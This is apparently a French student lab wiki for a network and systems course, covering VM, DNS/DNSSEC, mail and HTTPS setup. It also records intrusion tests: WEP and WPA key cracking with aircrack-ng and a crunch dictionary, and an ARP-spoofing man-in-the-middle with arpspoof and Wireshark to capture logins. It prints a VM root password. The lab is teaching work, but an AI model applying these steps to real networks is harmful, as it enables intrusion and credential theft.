4 0/ 1 00(50688) 09(45824) 50(45568) FD(45056) 5E(44032) <br />
5 0/ 3 00(46592) BD(45824) 4A(45824) 5A(45056) 87(45056) <br />
6 0/ 1 00(51456) 09(47104) 3A(45824) F9(45824) 04(45568) <br />
7 0/ 1 00(51712) C9(47360) 08(46336) 56(45312) E2(44800) <br />
8 0/ 1 00(54016) 05(45568) C1(45312) D5(44544) B7(44288) <br />
9 0/ 2 00(47872) 56(46592) 84(45568) 88(45568) F2(45056) <br />
10 1/ 2 09(48128) 6B(45824) D5(45824) 0C(45568) C2(45568) <br />
11 0/ 2 99(48128) 76(47616) 99(46080) E6(46080) 06(44800) <br />
12 2/ 4 FD(44800) DE(44544) B9(44032) 3F(43776) 94(43776) <br />
<br />
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:00:09:99:99 ] <br />
Decrypted correctly: 100%<br />
<br />
Et voila nous avons trouver clef du réseau wifi cracotte05<br />
<br />
=== Utilisation de AirCrack pour clef WPA2-PSA ===<br />
<br />
On va maintenant craquer le réseau Kracotte05 qui est un réseau WPA on sait d'avance que la clef WPA est un nombre sur 8 chiffres.<br />
<br />
On va donc faire un "cassage par force brute" avec un fichier texte contenant tout les combination de 00000000 a 99999999.<br />
<br />
On commence par installer Crnch avec la commande <code>sudo apt-get install -y crunch</code><br />
<br />
Une fois installer on génère un fichier dictionnaite.txt avec la commande <code>crunch 8 8 0123456789 >> dictionnaire_wpa.txt</code><br />
On relance la commande <code>airodump-ng -w reseau_kracotte05 -c 5 --bssid 00:14:1B:60:8C:24</code><br />
On a bien sure remplacer le ssid et le chanel par celui du wifi Kracotte05.<br />
<br />
Puis nous lançons aircrack-ng avec la commande <code>aircrack-ng reseau_kracotte05-01.cap -w dictionnaire_wpa.txt</code><br />
Read 121032 packets.<br />
<br />
# BSSID ESSID Encryption<br />
<br />
1 00:14:1B:60:8C:24 kracotte05 No data - WEP or WPA<br />
<br />
Choosing first network as target.<br />
<br />
Opening reseau_kracotte05-01.cap<br />
Read 121032 packets.<br />
<br />
1 potential targets<br />
Got no data packets from target network!<br />
Quitting aircrack-ng...<br />
<br />
On peut voir que cela prend du temps pour récupérer les data nécessaire pour effectuer le crackage 1 data toutes les 15 minutes.<br />
<br />
Une fois que on a récupérer les data, on peux effectuer le "cassage par force brute" <br />
<br />
Aircrack-ng 1.5.2 <br />
<br />
[00:32:18] 10323450/102795810 keys tested (2771.75 k/s) <br />
<br />
Time left: 9 hours, 16 minutes, 11 seconds 10.04%<br />
<br />
KEY FOUND! [ 10244444 ]<br />
<br />
<br />
Master Key : D6 B0 55 29 8C A0 B4 C9 13 24 C9 03 8C D5 13 4B <br />
46 A4 C2 DB 79 E7 4C BC AE B5 5A 5D 48 D7 C4 3B <br />
<br />
Transient Key : 25 23 28 1B 21 51 4B 87 07 51 A4 8E D1 80 48 C8 <br />
54 F6 87 8B 30 DF C1 D0 E6 1A 74 87 2F 50 EC 1B <br />
9B 24 39 29 40 E3 BD 89 CD AE 3E 81 E9 EC 16 70 <br />
79 F9 24 2E 30 4E 52 24 A9 41 30 52 E1 25 EC 85 <br />
<br />
EAPOL HMAC : 7F AC 76 7D B5 33 0C 24 20 C3 BA A2 4B DF 2F CD<br />
<br />
On a bien trouver la clé du wifi !<br />
<br />
On voit que cela peut prendre beaucoup de temps pour trouver la clé, d'out l'interner de couper le dictionnaire en plusieurs et lancer le traitement sur plusieurs pc des camarades de classe. <br />
<br />
Cela permet de diviser le temps de traitement par le nombre de machine utilisé.<br />
<br />
===Exploitation de failles du système===<br />
<br />
===Attaque de type "homme au milieu" par usurpation ARP===<br />
Maintenant on tesnt une attaque par "homme au milieu" pour commancé, on va installer le paquetage <code>dsniff</code> pour cela on utilise la commande : <code>apt-get install dsniff</code><br />
<br />
On regarde dans un premier temps si le pc peut se comporter comme un routeur avec la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> normalement il nous notifie '0' se qui prouve que le pc ne se comporte pas comme un routeur. On utilise la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> pour faire passer la variable a 1. maintenant le PC peut se comporter comme un routeur.<br />
<br />
On fait la commande <code>cat /proc/sys/net/ipv4/conf/all/rp_filter</code> la variable recu doit être a '0' ce qui permet aux pc de renvoyer les requètes sur l'interface qui les a recu.<br />
<br />
Ensuite on fait un <code>ip r</code> pour récupérer l'adresse ip du routeur.<br />
[[Fichier:Ip_r_mirage.png|1000px|thumb|left|capture de la commande ip r]]<br />
<br style="clear: both;" \><br />
<br />
On fait la commande <code>arpspoof -i bridge -t zabeth07 172.26.145.254</code><br />
<br />
On lance Wireshark en root en utilisant la commande <code>su</code> si celui ci n'est pas installer on fait préalablement <code>apt-get install wireshark</code><br />
<br />
Une fois Wireshark lancé, on filtre tout les paquets en provenance de nottre cible la zabeth07.<br />
<br />
Il faut fauire attention de bien désativer les proxi dans firefow sinon cela ne fonctionne pas.<br />
<br />
[[Fichier:Wireshark_mirage.png|1000px|thumb|left|capture de Wiresharkf]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que on a bien recupérer les mdp lors de la connexion aux site 'applications.polytech-lille.net'.<br />
Non d'utilisateur : Oui le pas de calais<br />
Mdp : le mdp<br />
<br />
=== Intrusion sur un serveur d’application Web===<br />
<br />
==Réalisations==<br />
<br />
===Sécurisation de données===<br />
<br />
===Chiffrement de données===<br />
<br />
Parfois il est necessaire de chiffrer les données importante,d'avoir des clef USB, ou des fichier sécuriser. Pour sécuriser la clef USB, on va utilisé 'cryptsetup'<br />
pour commancer on installe les paquetages 'lvm2' et 'cryptsetup'.<br />
apt-get install cryptsetup<br />
apt-get install lvm2 <br />
<br />
Le [https://doc.ubuntu-fr.org/cryptsetup site] on peut trouver la liste des commandes necessaire pour crypter le clef USB.<br />
<br />
Premièrement on va formaté la clef usb pour avoir un disque propre avec la commande <code>mkfs.vfat -n 'Alex.G' -I /dev/sdb1</code> on obtien le nom de la clef USB avec la commande <code>df -h</code><br />
On a maintenant une clef USB clean qui a comme nom Alex.G et un format FAT32.<br />
<br />
On peut lancer le cryptage de la clef USB avec la commande <code>cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/sdb</code> Pour savoir ou les la clef USB on utilise la commande <code>lsblk</code><br />
On choisi un mdp pour le clef USB, puis on envoie le fichier etc sur le clef pour vérifier si il est bien encrypter. Une fois la clef crypter avec un fichier dessu, on va sur un autre pc et on, vérifie si le fichier est bien crypter.<br />
La liste des commande utilisé est listé ci-dessous : <br />
mount /dev/mapper/Alex.G /mnt<br />
cp -r /etc /mnt<br />
umount /mnt<br />
cryptsetup luksClose Alex.G<br />
<br />
On peut voir que le clef USB crypter fonctionne bien.<br />
[[Fichier:ClefUSBLock_2020-11-13_11-48-55.png|1000px|thumb|left|Cryptage de la clef USB]]<br />
<br style="clear: both;" \><br />
<br />
===Inspection ARP par un élément réseau===<br />
<br />
===Sécurisation WiFi par WPA2-EAP===</div>Aglainehttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G5&diff=54020TP sysres IMA2a5 2020/2021 G52020-11-27T17:20:02Z<p>Aglaine : /* Attaque de type "homme au milieu" par usurpation ARP */</p>
<hr />
<div>== Introduction ==<br />
<br />
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système vous aurez à installer une machine virtuelle Xen et à y configurer des services. Enfin la mise en place d’un réseau WiFi sécurisé et d’un site web sécurisé vous permettent de mettre en pratiques vos connaissances en la matière.<br />
<br />
=== Tableau Récapitulatif ===<br />
{| class="wikitable" style="text-align: center;width: 35%;margin: auto;"<br />
! Description !! Détails<br />
|-<br />
! scope="row" style="width: 40%"|ID VLAN<br />
|style="width: 60%"|Vlan7<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V4<br />
|style="width: 60%"|193.48.57.168/26<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V6<br />
|style="width: 60%"|2001:660:4401:60a2:216:3eff:fe95:d093/64<br />
|-<br />
! scope="row" style="width: 40%"|Nom de de la VM <br />
|style="width: 60%"|mirage<br />
|-<br />
! scope="row" style="width: 40%"|Numéro de poste<br />
|style="width: 60%"|Zabeth06<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTP<br />
|style="width: 60%"|http://www.glopglop.site/<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTPS<br />
|style="width: 60%"|https://www.glopglop.site/<br />
|-<br />
|}<br />
<br />
== Installation des systèmes d’exploitation == <br />
<br />
Pour installer une Machine Virtuelle, il faut d'abord se connecter sur le disque de virtualisation.<br />
Pour cela, il faut utiliser la commande : <br />
ssh capbreton.plil.info<br />
<br />
=== Installation dans la machine virtuelle Xen ===<br />
<br />
Une fois connecter, il faut lancer la création de la Machine virtuelle avec la commande :<br />
xen-create-image --hostname=mirage --ip 193.48.57.168 --netmask=255.255.255.0 --gateway=100.64.0.5 --dist=ascii --dir=/usr/local/xen --force<br />
<br />
L'installation prend un certain temps pour regarder si l'installation se déroule bien, on peut ouvrir un second terminale connecté en SSH a "capbreton" puis on utilise la commande : <br />
tail -f /var/log/xen-tools/mirage.0.log<br />
<br />
A la fin de l'installation, on obtient le mot de passe root et des informations importantes :<br />
Installation Summary<br />
---------------------<br />
Hostname : mirage<br />
Distribution : ascii<br />
MAC Address : xxxxxxxxxxx<br />
IP Address(es) : dynamic<br />
SSH Fingerprint : SHA256:xxxxxxx (DSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ED25519)<br />
SSH Fingerprint : SHA256:xxxxxxx (RSA)<br />
Root Password : DgtUlOmnBFERdfarGBsopGR<br />
<br />
Une fois la VM créer, nous pouvons la lancer avec la commande :<br />
xl create /etc/xen/mirage.cfg<br />
<br />
On peut vérifier que le VM est bien démarrer avec la commande :<br />
xl list<br />
Pour fonctionner l'état de la VM doit être r ou -b<br />
<br />
[[Fichier:LancementVm.PNG|1000px|thumb|left|Liste des VM en fonctionnement]]<br />
<br style="clear: both;" \><br />
<br />
On accède pour la premier fois a nottre Vm avec la commande :<br />
xl console mirage<br />
<br />
il demande alors le login (root) et le mdp (longue chaine précédemment générée). <br />
Après nous être logué, on change le mot de passe qui devient : glopglopglop.<br />
<br />
=== Configuration de la machine virtuelle Xen ===<br />
<br />
Il faut maintenant installer les packages que nous avons besoins : <br />
apt-get update<br />
apt-get install VIM<br />
<br />
Il faut configurer l'adresse IP et le mask de la VM. Pour cela on utilise la commande :<br />
vim /etc/network/interfaces<br />
<br />
Dans interfaces on ajoute <br />
auto eth0<br />
iface eth0 inet static<br />
address 193.48.57.168<br />
gateway 193.58.57.163<br />
netmask 255.255.255.248<br />
<br />
Pour que la machine soit joignable par SSH via l'extérieure il est nécessaire de configurer la passerelle et le ssh_config. Pour cela on utilise la commande :<br />
vi /etc/ssh/ssh_config<br />
<br />
Le fichier ssh_config doit être configurer comme ci dessous :<br />
Host *<br />
SendEnv LANH LC_*<br />
HashKnownHOST yes<br />
GSSAPIAuthentification yes<br />
<br />
Sur Capbreton, une passerelle doit être mis en place pour pouvoir connecté les VM aux monde extérieure.<br />
Pour cela on configure ces interface avec la commande : <br />
vim/etc/network/interfaces<br />
<br />
Puis on configure la passerelle comme ci dessous : <br />
<pre><br />
# The loopback network interface<br />
auto lo<br />
iface lo inet loopback<br />
<br />
# Physical Network Interfaces<br />
#<br />
auto eth<br />
iface eth inet static<br />
address 192.168.0.29<br />
netmask 255.255.255.0<br />
gateway 192.168.0.1<br />
<br />
auto eth0<br />
iface eth0 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth1<br />
iface eth1 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth2<br />
iface eth2 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth4<br />
iface eth4 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth5<br />
iface eth5 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth6<br />
iface eth6 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth7<br />
iface eth7 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Main trunk bridge<br />
#<br />
auto Trunk<br />
iface Trunk inet manual<br />
bridge_ports eth4 eth5<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Virtual Network Interfaces<br />
#<br />
<br />
auto vlan48<br />
iface vlan48 inet static<br />
vlan-raw-device Trunk<br />
address 172.26.191.21<br />
netmask 255.255.252.0<br />
gateway 172.26.191.254<br />
iface vlan48 inet6 auto<br />
<br />
auto vlan500<br />
iface vlan500 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto vlan502<br />
iface vlan502 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
# Bridge for IMA5sc group<br />
#<br />
<br />
auto IMA5sc<br />
iface IMA5sc inet manual<br />
bridge_ports eth0 eth6<br />
# Bridge for IMA2a5<br />
#<br />
<br />
auto IMA2a5<br />
iface IMA2a5 inet manual<br />
bridge_ports eth1 eth7<br />
# Bridge for L3MRIT group<br />
#<br />
<br />
auto L3MRIT<br />
iface L3MRIT inet manual<br />
bridge_ports eth2<br />
# Bridge for GIS group<br />
#<br />
<br />
auto bridgeGIS<br />
iface bridgeGIS inet manual<br />
bridge_ports vlan502<br />
</pre><br />
<br />
== Architecture réseau ==<br />
L'architecture du réseau est la suivante : <br />
[[Fichier:Architecture2-MA2a5-2020_2021.JPG|1000px|thumb|left|Architecture du réseau]]<br />
<br style="clear: both;" \><br />
<br />
Le problème est que si on regarde le réseau n'est pas vraiment redondant : <br />
<br />
- Si on a une coupure de courant tout le réseau s'effondrent, dans l'idéale, il faudrait des onduleurs et un réseau électrique séparé pour la Baie1 et la Baie2/3<br />
<br />
- Le réseau ADSL n'est pas fonctionnelle donc si on perd le réseau Polytech on n'as plus accès aux machines.<br />
<br />
- Toutes les VM et les sites WEB sont sur la baie3 qui héberge le serveur de virtualisation Capbreton, si on perd la baie3 tout le système tombe.<br />
<br />
- Pour finir dans l'idéale les deux bais devrais être dans des bâtiments séparer en cas d'incendie, on risque de perdre les deux bais.<br />
<br />
===Sécurisation du réseau===<br />
<br />
==Services Internet==<br />
<br />
===Serveur SSH===<br />
<br />
Grace aux efforts de monsieur Xavier Redon pour permettre de joindre Capbreton a distance pendant le confinement avec la commande 'SSH'.<br />
<br />
On peux donc maintenant se connecté a la VM mirage avec la commande : <code>ssh root@193.48.57.168 -p 2222</code><br />
<br />
===Serveur DNS===<br />
Un serveur DNS (Domain Name System) permet d'effectuer correspondance entre un nom de domaine et une adresse IP. Grâce à DNS, il n'est pas nécessaire de se souvenir des adresses IP pour naviguer sur Ethernet. Pour installer notre propre serveur DNS nous avons utilisé Bind9.<br />
<br />
Nous commençons tout d'abord par installer bind9 via la commande suivante : <code>apt-get install bind9</code><br />
<br />
==== Création et configuration named.conf.local ====<br />
Le <code>named.conf.local</code> permet de faire pointer un nom de domaine pleinement qualifié (FQDN fully qualified domain name) sur une adresse IP. <br />
<br />
Il faut tout d'abbord modifié le fichier <code>/etc/bind/named.conf.local</code> qui contient la configuration DNS et y déclaré les zones associées au domaine ainsi qu'un fichier de description de la zone.<br />
<br />
[[Fichier:Mirage-config-named.conf.local.png|1000px|thumb|left|Configuration de mirage]]<br />
<br style="clear: both;" \><br />
<br />
Puis créé le fichier de configuration appelé <code>glopglop.site</code> avec la commande <code>vim /etc/bind/glopglop.site</code><br />
<br />
[[Fichier:Configuration_bind9.png|1000px|thumb|left|Configuration de bind9]]<br />
<br style="clear: both;" \><br />
<br />
On relance le service 'bind9' avec la commande :<code>service bind9 restart</code><br />
<br />
On vérifie que le DNS fonctionne bien avec le commande <code>host dns1.glopglop.site localhost</code><br />
[[Fichier:Dns1.glopglop.site_2020-11-13_08-57-52.png|1000px|thumb|left|Vérification du DNS en local]]<br />
<br style="clear: both;" \><br />
Le DNS fonctionne donc bien.<br />
<br />
==== Configuration gandi.net ====<br />
Grâce au registrar gandi.net, nous avons réservé le nom de domaine <code>glopglop.site</code>. L'extension <code>.site</code><br />
<br />
[[Fichier:Gandi-glopglop-VueGeneral.PNG|1000px|thumb|left|Image de la configuration de Gandi]]<br />
<br style="clear: both;" \><br />
<br />
On va maintenant ajouter un "glue record" qui est un enregistrement collé. <br />
<br />
Il permet d'associer un nom d'hôte avec une adresse IP au registre.<br />
<br />
Glue records fournis par Gandi pour associer un hostname (nom de serveur ou DNS) à l'adresse IP de notre machine. Les modifications seront effectives entre 12 et 24 heures.<br />
<br />
[[Fichier:Mirage-Ajoue-GlueRecord.PNG|1000px|thumb|left|Image de la configuration de Gandi avec Glue Record]]<br />
<br style="clear: both;" \><br />
<br />
Une fois le "glue record" renseigner se qui va lié notre DNS a une ip, il faut renseigner les serveur de non. cela prend 27/72h.<br />
<br />
Il faut bien faire attention que la VM soit correctement configurer avec 'bind9' car c'est lui qui donne IPv4 et IPv6 correspondant à vos noms de machines. <br />
<br />
Si ce n'est pas le cas Gandi ne pourras pas liée les DNS a l'ip de la machine.<br />
<br />
[[Fichier:GandiDNS_2020-11-13_09-00-16.png|1000px|thumb|left|DNS sur GANDI]]<br />
<br style="clear: both;" \><br />
<br />
Une fois les serveurs DNS configurer on peux fermer GANDI.<br />
<br />
===Sécurisation de site web par certificat===<br />
<br />
===Sécurisation de serveur DNS par DNSSEC===<br />
Premièrement, on ajoute <code>l'obtion dnssec-enable yes;</code> dans le fichier <code>named.conf.options</code>.<br />
====Génération des clef asymétrique====<br />
Il est important de bien sauvegarder la clef privée, sinon notre système de clef ne fonctionnera pas.<br />
pour commencer, on crée un répertoire pour stocker les clef.<br />
cd /etc/bind<br />
mkdir glopglop.site.dnssec<br />
cd glopglop.site.dnssec/<br />
<br />
Une fois dans le dossier <code>glopglop.site.dnssec</code>, on crée les clefs avec la commande<code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair...............+++++ ..........................................+++++ <br />
Kglopglop.site.+005+15337<br />
<br />
On crée ensuite le clef asymétrique pour la signature des enregistrements, pour cela on utilise la commande <code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair................+++++ ..................................................+++++ <br />
Kglopglop.site.+005+55608<br />
<br />
On a bien maintenant la paire de clef privée/publique. <br />
<br />
Le problème est qu'il est difficile de les distinguer avec leurs nom compliquer, il faut donc les renommer pour plus de transparence.<br />
<br />
On renomme donc les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK).<br />
<br />
Puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);<br />
<br />
mv Kglopglop.site.+005+15337.key glopglop.site-ksk.key<br />
mv Kglopglop.site.+005+15337.private glopglop.site-ksk.private<br />
mv Kglopglop.site.+005+55608.key glopglop.site-zsk.key<br />
mv Kglopglop.site.+005+55608.private glopglop.site-zsk.private<br />
<br />
[[Fichier:ClefPrivéePublique_2020-11-13_09-23-42.png|1000px|thumb|left|Clef Privée et Public]]<br />
<br style="clear: both;" \><br />
<br />
Dans <code>db.glopglop.site</code> on ajoute les deux lignes ci-dessous : <br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-ksk.key<br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-zsk.key<br />
<br />
On signe la zone d'enregistremment avec la commande <code>dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk</code><br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|Generation des zones d'enregistrement]]<br />
<br style="clear: both;" \><br />
<br />
Les clef sont maintenant fonctionelle il faut donc les ajouter a GANDI, pour cela on se connecte a gandi puis on ajoute une clef KSK.<br />
pour obtenir la cled on utilise la commande <code>cat glopglop.site-ksk.key</code> on obtien le résultat ci-dessous : <br />
; This is a key-signing key, keyid 15337, for glopglop.site.<br />
; Created: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Publish: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Activate: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
glopglop.site. IN DNSKEY 257 3 5 AwEAAc3TCJkWFGnZSj/Q364AF7n69UaXum/no+LuEbXbGjTXLETdYk+Q gVAmIpvbJXcG0rucJTbVFaHr8IhWqf7VvkCbEGAORAkzBVXThPDR1pZR lJDEY88Lb2T6k9uHw43l2oP8vPev2eIRbU3VxUuJs++elgj32DTBA+yK p++/gz29H6PQVpkHnH81RjGdV+K1RZEwxkuev2MmB329fhMRwTsbW0BV aeXc5faRk9ZEKb7tr0p7txVv4wZEL6it01ZiNyGktwLRj8ln+cQz1GtC PY/UWnCtamycE/2k4f98sdDa6TMiguuBNOPug+ODzqGiI7LNUyF4jBbf 6NAgChwITps=<br />
<br />
On ajoute la clef a Gandi comme montrer ci-dessous en n'oubliant pas de sélectionner '5(RSA/SHA-1'.<br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|gandi enregistrement de la clef KSK]]<br />
<br style="clear: both;" \><br />
<br />
Pour vérifier que tout fonctionne correctement, on va sur le site 'dnsvizi.net' il nous permet d'analyser le DNS et représente la chaine d'authentification DNSSEC.<br />
[[Fichier:DNSSEC_2020-11-13_11-59-06.png|1000px|thumb|left|Test du DNSSEC]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que maintenant on a bien le statu 'SECURE' donc tout fonctionne bien.<br />
<br />
===Installation d'une messagerie===<br />
====Configuration de Postfix====<br />
Pour recevoir le mail de vérification de GANDI il faut sur la VM un gestionnaire de mail il faut installer mutt et postfix. On utilise les commandes ci-dessous : <br />
apt-get install postfix<br />
ant-get install mutt<br />
<br />
A l'installation de 'postfix' un fenêtre de configuration s'ouvre. <br />
Il faut renseigner le non du site comme 'System mail name : 'glopglop.site'<br />
<br />
On vérifie la configuration de 'postix' en allant dans le 'main.cf'<br />
vi /etc/postfix/main.cf <br />
<br />
[[Fichier:Config Postfix mirage.png|1000px|thumb|left|Configuration de postfix]]<br />
<br style="clear: both;" \><br />
<br />
On a bien le non de domaine 'glopglop.site' on peut relancer 'postfix'<br />
service postfix restart<br />
Si le service n'est pas configurer correctement, on peut le reconfigurer avec la commande <code>dpkg-reconfigure postfix</code><br />
====Réception d'un message====<br />
On peux testé la réception de message en envoyant un message a 'roor@glopglop.site'<br />
Si tout fonctionne bien, on peux visualisé les message reçu en tapant la commande <code>mutt</code><br />
<br />
[[Fichier:Reception_messages_mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
On constate que on reçoit bien les message en provenance du mail de Polytech.<br />
Pour que Gandi puissent nous envoyer le mail contenant la clef de cryptage, on a besoin de pouvoir recevoir les messages qui sont destiné a 'admin@glopglop.site'<br />
<br />
Pour cela on va modifier le fichier 'vim /etc/aliases' en ajoutant la commande <code>admin:root</code><br />
On crée ensuite un <code>newaliases</code> puis on restarte bind9 avec la commande <code>service bind9 restart</code><br />
<br />
Attention pour les test il est conseiller d'utilisé deux boite mail différant care celle ci prenne du temps pour se mettre a jours.<br />
<br />
====Envoie du SSL Certification Gandi====<br />
<br />
Quand on est sure que le mail fonctionne bien avec l'envoie d'un message a destination de 'admin@glopglop.site' on peux demandé a gandi de bous envoyer la clef de cryptage.<br />
On demande d'envoyé le ssl certification a notre VM, cela peux prendre un certain temps.<br />
<br />
[[Fichier:SSL_Certification_Gandi_Mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
Dans le mail de Gandi on reçoit un code de confirmation ainsi qu'un mot de passe. Une fois confirmer, on peut télécharger les fichiers 'glopglop.site.crt' et 'GandistandardSSLCA2.perm'<br />
<br />
Une fois les fichiers télécharger et importer dans la Vm dans le dossier '/root', il faut dire que quand on se connecte sur le site 'glopglop.site' en 'https' il dois utilisé la cled publique 'myserver.key'.<br />
[[Fichier:Gandi-téléchargement_clefetcertifica_mirage.png|1000px|thumb|left|Fichiers Gandi a téléchargé]]<br />
<br style="clear: both;" \><br />
<br />
quand on utilise le ssh on passe par le port '442' dans le fichier <code>/etc/apache2/sites-available/default-ssl.conf</code><br />
On ajoute les lignes suivantes : <br />
<br />
SSLEngine on<br />
SSLCertificateFile /root/glopglop.site.crt<br />
SSLCertificateKeyFile /root/myserver.key<br />
SSLCertificateChainFile /root/GandiStandardSSLCA2.pem <br />
<br />
On reboot le service apash2 pour qu'il prenne les modification en compte.<br />
Le service ne fonctionne pas encore car on a rien qui écoute le port 442. <br />
/etc/apache2/sites-available/default-ssl.conf <br />
dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk<br />
service bind9 restart<br />
Il ne faut pas oublier d'incrémenter le numéro de version avant de restart le service 'bind9'<br />
<br />
On vérifie que tout fonctionne bien avec les commandes : <br />
host www.glopglop.site<br />
www.glopglop.site is an alias for dns1.glopglop.site.<br />
dns1.glopglop.site has address 193.48.57.168<br />
<br />
host www.glopglop.site ns6.gandi.net<br />
Using domain server:<br />
Name: ns6.gandi.net<br />
Address: 2001:4b98:d:1::40#53<br />
Aliases: <br />
<br />
www.glopglop.site is an alias for dns1.glopglop.site.<br />
dns1.glopglop.site has address 193.48.57.168<br />
<br />
On peut maintenant vérifier que le site est maintenant bien sécurisé en 'https'<br />
<br />
[[Fichier:Glopglop.site_Securisé.png|1000px|thumb|left|GlopGlop.site en Https]]<br />
<br style="clear: both;" \><br />
<br />
on a maintenant un site sécurisé en 'https'<br />
<br />
====Modification de la page d'accueille Apashe2====<br />
<br />
Pour éviter d'avoir la page de base Apash2, on va modifier le fichier 'index.html' pour cela il suffit d'éditer le fichier avec vim avec la commande <code>vim /var/www/html/index.html</code>.<br />
<br />
Le site : https://www.w3schools.com/html/html_examples.asp explique comment faire sa propre page web.<br />
la page pour le site 'glopglop.site' ne sert que d'exemple si on veux une page plus élaborer des template sont directement disponible sur le net avec en prime les fichiers css pour obtenir un site vraiment attractif. mais on cherche juste pour le moment a avoir une page différente de test.<br />
<br />
==Tests d’intrusion==<br />
<br />
=== Description ===<br />
Un ordinateur portable et une clef Wifi est fourni par Monsieur Redon. Pour que le clef fonctionne il est nécessite pas nécessairement de la configuration. Il faut aussi installer les paquetages nécessaire pour craquer la clef Wep et la clef WPA <br />
<br />
=== Installation de la clef Wifi ===<br />
Avec la commande <code>lsusb</code> on peux voir la list des interfaces connecté aux pc. Ci-dessous les résultats obtenu.<br />
<br />
Bus 003 Device 004: ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter<br />
Bus 003 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub<br />
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 001 Device 004: ID 413c:2003 Dell Computer Corp. Keyboard<br />
Bus 001 Device 003: ID 046d:c016 Logitech, Inc. Optical Wheel Mouse<br />
Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
<br />
La clef ubs Wifi est bien détécter.<br />
On doit donc installer le pilote pour les clef usb RT5370 avec la commande :<br />
apt-get install firmware-ralink<br />
apt-get install firmware-misc-nonfree<br />
<br />
Une fois les pilotes installer, on récupéère le nom de l'interface wifi avec la commande <code>ip l</code> et on récupère le résultat ci-dessous : <br />
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00<br />
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:22:4d:7a:f1:c3 brd ff:ff:ff:ff:ff:ff<br />
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
5: bridge: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
6: vmnet1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:01 brd ff:ff:ff:ff:ff:ff<br />
7: vmnet8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:08 brd ff:ff:ff:ff:ff:ff<br />
8: wlx40a5ef059784: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN mode DEFAULT group default qlen 1000<br />
